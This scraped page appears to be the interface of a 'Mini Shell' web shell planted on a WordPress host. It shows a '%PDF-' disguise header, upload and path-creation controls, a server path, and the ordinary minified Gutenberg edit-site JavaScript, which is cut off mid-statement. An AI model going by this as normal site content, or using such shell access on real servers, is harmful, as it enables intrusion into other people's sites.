%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/dordingu/public_html/hardkjarni/wp-content/plugins/gutenberg/build/edit-site/
Upload File :
Create Path :
Current File : /home/dordingu/public_html/hardkjarni/wp-content/plugins/gutenberg/build/edit-site/index.min.js

(()=>{var e={6411:function(e,t){var n,l;n=function(e,t){"use strict";var n,l,a="function"==typeof Map?new Map:(n=[],l=[],{has:function(e){return n.indexOf(e)>-1},get:function(e){return l[n.indexOf(e)]},set:function(e,t){-1===n.indexOf(e)&&(n.push(e),l.push(t))},delete:function(e){var t=n.indexOf(e);t>-1&&(n.splice(t,1),l.splice(t,1))}}),r=function(e){return new Event(e,{bubbles:!0})};try{new Event("test")}catch(e){r=function(e){var t=document.createEvent("Event");return t.initEvent(e,!0,!1),t}}function o(e){if(e&&e.nodeName&&"TEXTAREA"===e.nodeName&&!a.has(e)){var t=null,n=null,l=null,o=function(){e.clientWidth!==n&&m()},i=function(t){window.removeEventListener("resize",o,!1),e.removeEventListener("input",m,!1),e.removeEventListener("keyup",m,!1),e.removeEventListener("autosize:destroy",i,!1),e.removeEventListener("autosize:update",m,!1),Object.keys(t).forEach((function(n){e.style[n]=t[n]})),a.delete(e)}.bind(e,{height:e.style.height,resize:e.style.resize,overflowY:e.style.overflowY,overflowX:e.style.overflowX,wordWrap:e.style.wordWrap});e.addEventListener("autosize:destroy",i,!1),"onpropertychange"in e&&"oninput"in e&&e.addEventListener("keyup",m,!1),window.addEventListener("resize",o,!1),e.addEventListener("input",m,!1),e.addEventListener("autosize:update",m,!1),e.style.overflowX="hidden",e.style.wordWrap="break-word",a.set(e,{destroy:i,update:m}),"vertical"===(s=window.getComputedStyle(e,null)).resize?e.style.resize="none":"both"===s.resize&&(e.style.resize="horizontal"),t="content-box"===s.boxSizing?-(parseFloat(s.paddingTop)+parseFloat(s.paddingBottom)):parseFloat(s.borderTopWidth)+parseFloat(s.borderBottomWidth),isNaN(t)&&(t=0),m()}var s;function c(t){var n=e.style.width;e.style.width="0px",e.offsetWidth,e.style.width=n,e.style.overflowY=t}function u(){if(0!==e.scrollHeight){var l=function(e){for(var t=[];e&&e.parentNode&&e.parentNode instanceof Element;)e.parentNode.scrollTop&&t.push({node:e.parentNode,scrollTop:e.parentNode.scrollTop}),e=e.parentNode;return t}(e),a=document.documentElement&&document.documentElement.scrollTop;e.style.height="",e.style.height=e.scrollHeight+t+"px",n=e.clientWidth,l.forEach((function(e){e.node.scrollTop=e.scrollTop})),a&&(document.documentElement.scrollTop=a)}}function m(){u();var t=Math.round(parseFloat(e.style.height)),n=window.getComputedStyle(e,null),a="content-box"===n.boxSizing?Math.round(parseFloat(n.height)):e.offsetHeight;if(a<t?"hidden"===n.overflowY&&(c("scroll"),u(),a="content-box"===n.boxSizing?Math.round(parseFloat(window.getComputedStyle(e,null).height)):e.offsetHeight):"hidden"!==n.overflowY&&(c("hidden"),u(),a="content-box"===n.boxSizing?Math.round(parseFloat(window.getComputedStyle(e,null).height)):e.offsetHeight),l!==a){l=a;var o=r("autosize:resized");try{e.dispatchEvent(o)}catch(e){}}}}function i(e){var t=a.get(e);t&&t.destroy()}function s(e){var t=a.get(e);t&&t.update()}var c=null;"undefined"==typeof window||"function"!=typeof window.getComputedStyle?((c=function(e){return e}).destroy=function(e){return e},c.update=function(e){return e}):((c=function(e,t){return e&&Array.prototype.forEach.call(e.length?e:[e],(function(e){return o(e)})),e}).destroy=function(e){return e&&Array.prototype.forEach.call(e.length?e:[e],i),e},c.update=function(e){return e&&Array.prototype.forEach.call(e.length?e:[e],s),e}),t.default=c,e.exports=t.default},void 0===(l=n.apply(t,[e,t]))||(e.exports=l)},4403:(e,t)=>{var n;!function(){"use strict";var l={}.hasOwnProperty;function a(){for(var e=[],t=0;t<arguments.length;t++){var n=arguments[t];if(n){var r=typeof n;if("string"===r||"number"===r)e.push(n);else if(Array.isArray(n)){if(n.length){var o=a.apply(null,n);o&&e.push(o)}}else if("object"===r)if(n.toString===Object.prototype.toString)for(var i in n)l.call(n,i)&&n[i]&&e.push(i);else e.push(n.toString())}}return e.join(" ")}e.exports?(a.default=a,e.exports=a):void 0===(n=function(){return a}.apply(t,[]))||(e.exports=n)}()},4827:e=>{e.exports=function(e,t,n){return((n=window.getComputedStyle)?n(e):e.currentStyle)[t.replace(/-(\w)/gi,(function(e,t){return t.toUpperCase()}))]}},8981:function(e,t){var n,l;void 0===(l="function"==typeof(n=function(){return function e(t,n,l){var a,r,o=window,i="application/octet-stream",s=l||i,c=t,u=!n&&!l&&c,m=document.createElement("a"),d=function(e){return String(e)},p=o.Blob||o.MozBlob||o.WebKitBlob||d,g=n||"download";if(p=p.call?p.bind(o):Blob,"true"===String(this)&&(s=(c=[c,s])[0],c=c[1]),u&&u.length<2048&&(g=u.split("/").pop().split("?")[0],m.href=u,-1!==m.href.indexOf(u))){var _=new XMLHttpRequest;return _.open("GET",u,!0),_.responseType="blob",_.onload=function(t){e(t.target.response,g,i)},setTimeout((function(){_.send()}),0),_}if(/^data:([\w+-]+\/[\w+.-]+)?[,;]/.test(c)){if(!(c.length>2096103.424&&p!==d))return navigator.msSaveBlob?navigator.msSaveBlob(v(c),g):y(c);s=(c=v(c)).type||i}else if(/([\x80-\xff])/.test(c)){for(var h=0,f=new Uint8Array(c.length),E=f.length;h<E;++h)f[h]=c.charCodeAt(h);c=new p([f],{type:s})}function v(e){for(var t=e.split(/[:;,]/),n=t[1],l=("base64"==t[2]?atob:decodeURIComponent)(t.pop()),a=l.length,r=0,o=new Uint8Array(a);r<a;++r)o[r]=l.charCodeAt(r);return new p([o],{type:n})}function y(e,t){if("download"in m)return m.href=e,m.setAttribute("download",g),m.className="download-js-link",m.innerHTML="downloading...",m.style.display="none",document.body.appendChild(m),setTimeout((function(){m.click(),document.body.removeChild(m),!0===t&&setTimeout((function(){o.URL.revokeObjectURL(m.href)}),250)}),66),!0;if(/(Version)\/(\d+)\.(\d+)(?:\.(\d+))?.*Safari\//.test(navigator.userAgent))return/^data:/.test(e)&&(e="data:"+e.replace(/^data:([\w\/\-\+]+)/,i)),window.open(e)||confirm("Displaying New Document\n\nUse Save As... to download, then click back to return to this page.")&&(location.href=e),!0;var n=document.createElement("iframe");document.body.appendChild(n),!t&&/^data:/.test(e)&&(e="data:"+e.replace(/^data:([\w\/\-\+]+)/,i)),n.src=e,setTimeout((function(){document.body.removeChild(n)}),333)}if(a=c instanceof p?c:new p([c],{type:s}),navigator.msSaveBlob)return navigator.msSaveBlob(a,g);if(o.URL)y(o.URL.createObjectURL(a),!0);else{if("string"==typeof a||a.constructor===d)try{return y("data:"+s+";base64,"+o.btoa(a))}catch(e){return y("data:"+s+","+encodeURIComponent(a))}(r=new FileReader).onload=function(e){y(this.result)},r.readAsDataURL(a)}return!0}})?n.apply(t,[]):n)||(e.exports=l)},9894:(e,t,n)=>{var l=n(4827);e.exports=function(e){var t=l(e,"line-height"),n=parseFloat(t,10);if(t===n+""){var a=e.style.lineHeight;e.style.lineHeight=t+"em",t=l(e,"line-height"),n=parseFloat(t,10),a?e.style.lineHeight=a:delete e.style.lineHeight}if(-1!==t.indexOf("pt")?(n*=4,n/=3):-1!==t.indexOf("mm")?(n*=96,n/=25.4):-1!==t.indexOf("cm")?(n*=96,n/=2.54):-1!==t.indexOf("in")?n*=96:-1!==t.indexOf("pc")&&(n*=16),n=Math.round(n),"normal"===t){var r=e.nodeName,o=document.createElement(r);o.innerHTML="&nbsp;","TEXTAREA"===r.toUpperCase()&&o.setAttribute("rows","1");var i=l(e,"font-size");o.style.fontSize=i,o.style.padding="0px",o.style.border="0px";var s=document.body;s.appendChild(o),n=o.offsetHeight,s.removeChild(o)}return n}},5372:(e,t,n)=>{"use strict";var l=n(9567);function a(){}function r(){}r.resetWarningCache=a,e.exports=function(){function e(e,t,n,a,r,o){if(o!==l){var i=new Error("Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types");throw i.name="Invariant Violation",i}}function t(){return e}e.isRequired=e;var n={array:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:t,element:e,elementType:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t,checkPropTypes:r,resetWarningCache:a};return n.PropTypes=n,n}},2652:(e,t,n)=>{e.exports=n(5372)()},9567:e=>{"use strict";e.exports="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED"},5438:function(e,t,n){"use strict";var l,a=this&&this.__extends||(l=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},function(e,t){function __(){this.constructor=e}l(e,t),e.prototype=null===t?Object.create(t):(__.prototype=t.prototype,new __)}),r=this&&this.__assign||Object.assign||function(e){for(var t,n=1,l=arguments.length;n<l;n++)for(var a in t=arguments[n])Object.prototype.hasOwnProperty.call(t,a)&&(e[a]=t[a]);return e},o=this&&this.__rest||function(e,t){var n={};for(var l in e)Object.prototype.hasOwnProperty.call(e,l)&&t.indexOf(l)<0&&(n[l]=e[l]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var a=0;for(l=Object.getOwnPropertySymbols(e);a<l.length;a++)t.indexOf(l[a])<0&&(n[l[a]]=e[l[a]])}return n};t.__esModule=!0;var i=n(9196),s=n(2652),c=n(6411),u=n(9894),m="autosize:resized",d=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.state={lineHeight:null},t.textarea=null,t.onResize=function(e){t.props.onResize&&t.props.onResize(e)},t.updateLineHeight=function(){t.textarea&&t.setState({lineHeight:u(t.textarea)})},t.onChange=function(e){var n=t.props.onChange;t.currentValue=e.currentTarget.value,n&&n(e)},t}return a(t,e),t.prototype.componentDidMount=function(){var e=this,t=this.props,n=t.maxRows,l=t.async;"number"==typeof n&&this.updateLineHeight(),"number"==typeof n||l?setTimeout((function(){return e.textarea&&c(e.textarea)})):this.textarea&&c(this.textarea),this.textarea&&this.textarea.addEventListener(m,this.onResize)},t.prototype.componentWillUnmount=function(){this.textarea&&(this.textarea.removeEventListener(m,this.onResize),c.destroy(this.textarea))},t.prototype.render=function(){var e=this,t=this.props,n=(t.onResize,t.maxRows),l=(t.onChange,t.style),a=(t.innerRef,t.children),s=o(t,["onResize","maxRows","onChange","style","innerRef","children"]),c=this.state.lineHeight,u=n&&c?c*n:null;return i.createElement("textarea",r({},s,{onChange:this.onChange,style:u?r({},l,{maxHeight:u}):l,ref:function(t){e.textarea=t,"function"==typeof e.props.innerRef?e.props.innerRef(t):e.props.innerRef&&(e.props.innerRef.current=t)}}),a)},t.prototype.componentDidUpdate=function(){this.textarea&&c.update(this.textarea)},t.defaultProps={rows:1,async:!1},t.propTypes={rows:s.number,maxRows:s.number,onResize:s.func,innerRef:s.any,async:s.bool},t}(i.Component);t.TextareaAutosize=i.forwardRef((function(e,t){return i.createElement(d,r({},e,{innerRef:t}))}))},773:(e,t,n)=>{"use strict";var l=n(5438);t.Z=l.TextareaAutosize},9196:e=>{"use strict";e.exports=window.React}},t={};function n(l){var a=t[l];if(void 0!==a)return a.exports;var r=t[l]={exports:{}};return e[l].call(r.exports,r,r.exports,n),r.exports}n.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return n.d(t,{a:t}),t},n.d=(e,t)=>{for(var l in t)n.o(t,l)&&!n.o(e,l)&&Object.defineProperty(e,l,{enumerable:!0,get:t[l]})},n.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),n.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var l={};(()=>{"use strict";n.r(l),n.d(l,{PluginMoreMenuItem:()=>Yo,PluginSidebar:()=>jo,PluginSidebarMoreMenuItem:()=>qo,__experimentalMainDashboardButton:()=>tr,__experimentalNavigationToggle:()=>or,initializeEditor:()=>Ko,reinitializeEditor:()=>Xo});var e={};n.r(e),n.d(e,{disableComplementaryArea:()=>N,enableComplementaryArea:()=>T,pinItem:()=>I,setDefaultComplementaryArea:()=>C,setFeatureDefaults:()=>V,setFeatureValue:()=>B,toggleFeature:()=>P,unpinItem:()=>M});var t={};n.r(t),n.d(t,{getActiveComplementaryArea:()=>z,isFeatureActive:()=>R,isItemPinned:()=>A});var a={};n.r(a),n.d(a,{__experimentalSetPreviewDeviceType:()=>Ke,addTemplate:()=>Qe,closeGeneralSidebar:()=>mt,openGeneralSidebar:()=>ut,openNavigationPanelToMenu:()=>at,removeTemplate:()=>Je,revertTemplate:()=>ct,setHomeTemplateId:()=>tt,setIsInserterOpened:()=>ot,setIsListViewOpened:()=>st,setIsNavigationPanelOpened:()=>rt,setNavigationPanelActiveMenu:()=>lt,setPage:()=>nt,setTemplate:()=>Ze,setTemplatePart:()=>et,switchEditorMode:()=>dt,toggleFeature:()=>Xe,updateSettings:()=>it});var r={};n.r(r),n.d(r,{__experimentalGetInsertionPoint:()=>Vt,__experimentalGetPreviewDeviceType:()=>yt,__unstableGetPreference:()=>Et,getCanUserCreateMedia:()=>bt,getCurrentTemplateNavigationPanelSubMenu:()=>Mt,getCurrentTemplateTemplateParts:()=>At,getEditedPostId:()=>Tt,getEditedPostType:()=>Ct,getEditorMode:()=>Rt,getHomeTemplateId:()=>St,getNavigationPanelActiveMenu:()=>It,getPage:()=>Nt,getReusableBlocks:()=>wt,getSettings:()=>xt,isFeatureActive:()=>vt,isInserterOpened:()=>Bt,isListViewOpened:()=>zt,isNavigationOpened:()=>Pt});const o=window.wp.element,i=window.wp.blocks,s=window.wp.blockLibrary,c=window.wp.data,u=window.wp.coreData,m=window.wp.editor;function d(){return d=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var l in n)Object.prototype.hasOwnProperty.call(n,l)&&(e[l]=n[l])}return e},d.apply(this,arguments)}var p=n(4403),g=n.n(p);const _=window.wp.components,h=window.wp.i18n,f=window.wp.primitives,E=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M16.7 7.1l-6.3 8.5-3.3-2.5-.9 1.2 4.5 3.4L17.9 8z"})),v=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M11.776 4.454a.25.25 0 01.448 0l2.069 4.192a.25.25 0 00.188.137l4.626.672a.25.25 0 01.139.426l-3.348 3.263a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.362.263l-4.138-2.175a.25.25 0 00-.232 0l-4.138 2.175a.25.25 0 01-.363-.263l.79-4.607a.25.25 0 00-.071-.222L4.754 9.881a.25.25 0 01.139-.426l4.626-.672a.25.25 0 00.188-.137l2.069-4.192z"})),y=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{fillRule:"evenodd",d:"M9.706 8.646a.25.25 0 01-.188.137l-4.626.672a.25.25 0 00-.139.427l3.348 3.262a.25.25 0 01.072.222l-.79 4.607a.25.25 0 00.362.264l4.138-2.176a.25.25 0 01.233 0l4.137 2.175a.25.25 0 00.363-.263l-.79-4.607a.25.25 0 01.072-.222l3.347-3.262a.25.25 0 00-.139-.427l-4.626-.672a.25.25 0 01-.188-.137l-2.069-4.192a.25.25 0 00-.448 0L9.706 8.646zM12 7.39l-.948 1.921a1.75 1.75 0 01-1.317.957l-2.12.308 1.534 1.495c.412.402.6.982.503 1.55l-.362 2.11 1.896-.997a1.75 1.75 0 011.629 0l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39z",clipRule:"evenodd"})),b=window.wp.viewport,w=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z"})),x=window.wp.deprecated;var S=n.n(x);const k=window.wp.preferences,C=(e,t)=>({type:"SET_DEFAULT_COMPLEMENTARY_AREA",scope:e,area:t}),T=(e,t)=>n=>{let{registry:l,dispatch:a}=n;t&&(l.select(k.store).get(e,"isComplementaryAreaVisible")||l.dispatch(k.store).set(e,"isComplementaryAreaVisible",!0),a({type:"ENABLE_COMPLEMENTARY_AREA",scope:e,area:t}))},N=e=>t=>{let{registry:n}=t;n.select(k.store).get(e,"isComplementaryAreaVisible")&&n.dispatch(k.store).set(e,"isComplementaryAreaVisible",!1)},I=(e,t)=>n=>{let{registry:l}=n;if(!t)return;const a=l.select(k.store).get(e,"pinnedItems");!0!==(null==a?void 0:a[t])&&l.dispatch(k.store).set(e,"pinnedItems",{...a,[t]:!0})},M=(e,t)=>n=>{let{registry:l}=n;if(!t)return;const a=l.select(k.store).get(e,"pinnedItems");l.dispatch(k.store).set(e,"pinnedItems",{...a,[t]:!1})};function P(e,t){return function(n){let{registry:l}=n;S()("dispatch( 'core/interface' ).toggleFeature",{since:"6.0",alternative:"dispatch( 'core/preferences' ).toggle"}),l.dispatch(k.store).toggle(e,t)}}function B(e,t,n){return function(l){let{registry:a}=l;S()("dispatch( 'core/interface' ).setFeatureValue",{since:"6.0",alternative:"dispatch( 'core/preferences' ).set"}),a.dispatch(k.store).set(e,t,!!n)}}function V(e,t){return function(n){let{registry:l}=n;S()("dispatch( 'core/interface' ).setFeatureDefaults",{since:"6.0",alternative:"dispatch( 'core/preferences' ).setDefaults"}),l.dispatch(k.store).setDefaults(e,t)}}const z=(0,c.createRegistrySelector)((e=>(t,n)=>{var l;const a=e(k.store).get(n,"isComplementaryAreaVisible");if(void 0!==a)return a?null==t||null===(l=t.complementaryAreas)||void 0===l?void 0:l[n]:null})),A=(0,c.createRegistrySelector)((e=>(t,n,l)=>{var a;const r=e(k.store).get(n,"pinnedItems");return null===(a=null==r?void 0:r[l])||void 0===a||a})),R=(0,c.createRegistrySelector)((e=>(t,n,l)=>(S()("select( 'core/interface' ).isFeatureActive( scope, featureName )",{since:"6.0",alternative:"select( 'core/preferences' ).get( scope, featureName )"}),!!e(k.store).get(n,l)))),L=(0,c.combineReducers)({complementaryAreas:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"SET_DEFAULT_COMPLEMENTARY_AREA":{const{scope:n,area:l}=t;return e[n]?e:{...e,[n]:l}}case"ENABLE_COMPLEMENTARY_AREA":{const{scope:n,area:l}=t;return{...e,[n]:l}}}return e}}),O=(0,c.createReduxStore)("core/interface",{reducer:L,actions:e,selectors:t});(0,c.register)(O);const F=window.wp.plugins,D=(0,F.withPluginContext)(((e,t)=>({icon:t.icon||e.icon,identifier:t.identifier||`${e.name}/${t.name}`}))),G=D((function(e){let{as:t=_.Button,scope:n,identifier:l,icon:a,selectedIcon:r,name:i,...s}=e;const u=t,m=(0,c.useSelect)((e=>e(O).getActiveComplementaryArea(n)===l),[l]),{enableComplementaryArea:p,disableComplementaryArea:g}=(0,c.useDispatch)(O);return(0,o.createElement)(u,d({icon:r&&m?r:a,onClick:()=>{m?g(n):p(n,l)}},s))})),H=e=>{let{smallScreenTitle:t,children:n,className:l,toggleButtonProps:a}=e;const r=(0,o.createElement)(G,d({icon:w},a));return(0,o.createElement)(o.Fragment,null,(0,o.createElement)("div",{className:"components-panel__header interface-complementary-area-header__small"},t&&(0,o.createElement)("span",{className:"interface-complementary-area-header__small-title"},t),r),(0,o.createElement)("div",{className:g()("components-panel__header","interface-complementary-area-header",l),tabIndex:-1},n,r))},$=()=>{};function U(e){let{name:t,as:n=_.Button,onClick:l,...a}=e;return(0,o.createElement)(_.Fill,{name:t},(e=>{let{onClick:t}=e;return(0,o.createElement)(n,d({onClick:l||t?function(){(l||$)(...arguments),(t||$)(...arguments)}:void 0},a))}))}U.Slot=function(e){let{name:t,as:n=_.ButtonGroup,fillProps:l={},bubblesVirtually:a,...r}=e;return(0,o.createElement)(_.Slot,{name:t,bubblesVirtually:a,fillProps:l},(e=>{if(!o.Children.toArray(e).length)return null;const t=[];o.Children.forEach(e,(e=>{let{props:{__unstableExplicitMenuItem:n,__unstableTarget:l}}=e;l&&n&&t.push(l)}));const l=o.Children.map(e,(e=>!e.props.__unstableExplicitMenuItem&&t.includes(e.props.__unstableTarget)?null:e));return(0,o.createElement)(n,r,l)}))};const W=U,j=e=>{let{__unstableExplicitMenuItem:t,__unstableTarget:n,...l}=e;return(0,o.createElement)(_.MenuItem,l)};function q(e){let{scope:t,target:n,__unstableExplicitMenuItem:l,...a}=e;return(0,o.createElement)(G,d({as:e=>(0,o.createElement)(W,d({__unstableExplicitMenuItem:l,__unstableTarget:`${t}/${n}`,as:j,name:`${t}/plugin-more-menu`},e)),role:"menuitemcheckbox",selectedIcon:E,name:n,scope:t},a))}function Y(e){let{scope:t,...n}=e;return(0,o.createElement)(_.Fill,d({name:`PinnedItems/${t}`},n))}Y.Slot=function(e){let{scope:t,className:n,...l}=e;return(0,o.createElement)(_.Slot,d({name:`PinnedItems/${t}`},l),(e=>(null==e?void 0:e.length)>0&&(0,o.createElement)("div",{className:g()(n,"interface-pinned-items")},e)))};const X=Y;function K(e){let{scope:t,children:n,className:l}=e;return(0,o.createElement)(_.Fill,{name:`ComplementaryArea/${t}`},(0,o.createElement)("div",{className:l},n))}const Z=D((function(e){let{children:t,className:n,closeLabel:l=(0,h.__)("Close plugin"),identifier:a,header:r,headerClassName:i,icon:s,isPinnable:u=!0,panelClassName:m,scope:d,name:p,smallScreenTitle:f,title:w,toggleShortcut:x,isActiveByDefault:S,showIconLabels:k=!1}=e;const{isActive:C,isPinned:T,activeArea:N,isSmall:I,isLarge:M}=(0,c.useSelect)((e=>{const{getActiveComplementaryArea:t,isItemPinned:n}=e(O),l=t(d);return{isActive:l===a,isPinned:n(d,a),activeArea:l,isSmall:e(b.store).isViewportMatch("< medium"),isLarge:e(b.store).isViewportMatch("large")}}),[a,d]);!function(e,t,n,l,a){const r=(0,o.useRef)(!1),i=(0,o.useRef)(!1),{enableComplementaryArea:s,disableComplementaryArea:u}=(0,c.useDispatch)(O);(0,o.useEffect)((()=>{l&&a&&!r.current?(u(e),i.current=!0):i.current&&!a&&r.current?(i.current=!1,s(e,t)):i.current&&n&&n!==t&&(i.current=!1),a!==r.current&&(r.current=a)}),[l,a,e,t,n])}(d,a,N,C,I);const{enableComplementaryArea:P,disableComplementaryArea:B,pinItem:V,unpinItem:z}=(0,c.useDispatch)(O);return(0,o.useEffect)((()=>{S&&void 0===N&&!I&&P(d,a)}),[N,S,d,a,I]),(0,o.createElement)(o.Fragment,null,u&&(0,o.createElement)(X,{scope:d},T&&(0,o.createElement)(G,{scope:d,identifier:a,isPressed:C&&(!k||M),"aria-expanded":C,label:w,icon:k?E:s,showTooltip:!k,variant:k?"tertiary":void 0})),p&&u&&(0,o.createElement)(q,{target:p,scope:d,icon:s},w),C&&(0,o.createElement)(K,{className:g()("interface-complementary-area",n),scope:d},(0,o.createElement)(H,{className:i,closeLabel:l,onClose:()=>B(d),smallScreenTitle:f,toggleButtonProps:{label:l,shortcut:x,scope:d,identifier:a}},r||(0,o.createElement)(o.Fragment,null,(0,o.createElement)("strong",null,w),u&&(0,o.createElement)(_.Button,{className:"interface-complementary-area__pin-unpin-item",icon:T?v:y,label:T?(0,h.__)("Unpin from toolbar"):(0,h.__)("Pin to toolbar"),onClick:()=>(T?z:V)(d,a),isPressed:T,"aria-expanded":T}))),(0,o.createElement)(_.Panel,{className:m},t)))}));Z.Slot=function(e){let{scope:t,...n}=e;return(0,o.createElement)(_.Slot,d({name:`ComplementaryArea/${t}`},n))};const Q=Z,J=window.wp.compose,ee=(0,o.forwardRef)((function(e,t){let{footer:n,header:l,sidebar:a,secondarySidebar:r,notices:i,content:s,drawer:c,actions:u,labels:m,className:p,shortcuts:f}=e;const E=(0,_.__unstableUseNavigateRegions)(f);!function(e){(0,o.useEffect)((()=>{const t=document&&document.querySelector(`html:not(.${e})`);if(t)return t.classList.toggle(e),()=>{t.classList.toggle(e)}}),[e])}("interface-interface-skeleton__html-container");const v={
/* translators: accessibility text for the nav bar landmark region. */
drawer:(0,h.__)("Drawer"),
/* translators: accessibility text for the top bar landmark region. */
header:(0,h.__)("Header"),
/* translators: accessibility text for the content landmark region. */
body:(0,h.__)("Content"),
/* translators: accessibility text for the secondary sidebar landmark region. */
secondarySidebar:(0,h.__)("Block Library"),
/* translators: accessibility text for the settings landmark region. */
sidebar:(0,h.__)("Settings"),
/* translators: accessibility text for the publish landmark region. */
actions:(0,h.__)("Publish"),
/* translators: accessibility text for the footer landmark region. */
footer:(0,h.__)("Footer"),...m};return(0,o.createElement)("div",d({},E,{ref:(0,J.useMergeRefs)([t,E.ref]),className:g()(p,"interface-interface-skeleton",E.className,!!n&&"has-footer")}),!!c&&(0,o.createElement)("div",{className:"interface-interface-skeleton__drawer",role:"region","aria-label":v.drawer,tabIndex:"-1"},c),(0,o.createElement)("div",{className:"interface-interface-skeleton__editor"},!!l&&(0,o.createElement)("div",{className:"interface-interface-skeleton__header",role:"region","aria-label":v.header,tabIndex:"-1"},l),(0,o.createElement)("div",{className:"interface-interface-skeleton__body"},!!r&&(0,o.createElement)("div",{className:"interface-interface-skeleton__secondary-sidebar",role:"region","aria-label":v.secondarySidebar,tabIndex:"-1"},r),!!i&&(0,o.createElement)("div",{className:"interface-interface-skeleton__notices"},i),(0,o.createElement)("div",{className:"interface-interface-skeleton__content",role:"region","aria-label":v.body,tabIndex:"-1"},s),!!a&&(0,o.createElement)("div",{className:"interface-interface-skeleton__sidebar",role:"region","aria-label":v.sidebar,tabIndex:"-1"},a),!!u&&(0,o.createElement)("div",{className:"interface-interface-skeleton__actions",role:"region","aria-label":v.actions,tabIndex:"-1"},u))),!!n&&(0,o.createElement)("div",{className:"interface-interface-skeleton__footer",role:"region","aria-label":v.footer,tabIndex:"-1"},n))})),te=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z"}));function ne(e){let{as:t=_.DropdownMenu,className:n,label:
/* translators: button label text should, if possible, be under 16 characters. */
l=(0,h.__)("Options"),popoverProps:a,toggleProps:r,children:i}=e;return(0,o.createElement)(t,{className:g()("interface-more-menu-dropdown",n),icon:te,label:l,popoverProps:{position:"bottom left",...a,className:g()("interface-more-menu-dropdown__content",null==a?void 0:a.className)},toggleProps:{tooltipPosition:"bottom",...r}},(e=>i(e)))}function le(e){let{closeModal:t,children:n}=e;return(0,o.createElement)(_.Modal,{className:"interface-preferences-modal",title:(0,h.__)("Preferences"),closeLabel:(0,h.__)("Close"),onRequestClose:t},n)}const ae=function(e){let{icon:t,size:n=24,...l}=e;return(0,o.cloneElement)(t,{width:n,height:n,...l})},re=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M14.6 7l-1.2-1L8 12l5.4 6 1.2-1-4.6-5z"})),oe=(0,o.createElement)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(f.Path,{d:"M10.6 6L9.4 7l4.6 5-4.6 5 1.2 1 5.4-6z"})),ie="preferences-menu";function se(e){let{sections:t}=e;const n=(0,J.useViewportMatch)("medium"),[l,a]=(0,o.useState)(ie),{tabs:r,sectionsContentMap:i}=(0,o.useMemo)((()=>{let e={tabs:[],sectionsContentMap:{}};return t.length&&(e=t.reduce(((e,t)=>{let{name:n,tabLabel:l,content:a}=t;return e.tabs.push({name:n,title:l}),e.sectionsContentMap[n]=a,e}),{tabs:[],sectionsContentMap:{}})),e}),[t]),s=(0,o.useCallback)((e=>i[e.name]||null),[i]);let c;return c=n?(0,o.createElement)(_.TabPanel,{className:"interface-preferences__tabs",tabs:r,initialTabName:l!==ie?l:void 0,onSelect:a,orientation:"vertical"},s):(0,o.createElement)(_.__experimentalNavigatorProvider,{initialPath:"/",className:"interface-preferences__provider"},(0,o.createElement)(_.__experimentalNavigatorScreen,{path:"/"},(0,o.createElement)(_.Card,{isBorderless:!0,size:"small"},(0,o.createElement)(_.CardBody,null,(0,o.createElement)(_.__experimentalItemGroup,null,r.map((e=>(0,o.createElement)(_.__experimentalNavigatorButton,{key:e.name,path:e.name,as:_.__experimentalItem,isAction:!0},(0,o.createElement)(_.__experimentalHStack,{justify:"space-between"},(0,o.createElement)(_.FlexItem,null,(0,o.createElement)(_.__experimentalTruncate,null,e.title)),(0,o.createElement)(_.FlexItem,null,(0,o.createElement)(ae,{icon:(0,h.isRTL)()?re:oe})))))))))),t.length&&t.map((e=>(0,o.createElement)(_.__experimentalNavigatorScreen,{key:`${e.name}-menu`,path:e.name},(0,o.createElement)(_.Card,{isBorderless:!0,size:"large"},(0,o.createElement)(_.CardHeader,{isBorderless:!1,justify:"left",size:"small",gap:"6"},(0,o.createElement)(_.__experimentalNavigatorBackButton,{icon:(0,h.isRTL)()?oe:re,"aria-label":(0,h.__)("Navigate to the previous view")}),(0,o.createElement)(_.__experimentalText,{size:"16"},e.tabLabel)),(0,o.createElement)(_.CardBody,null,e.content)))))),c}const 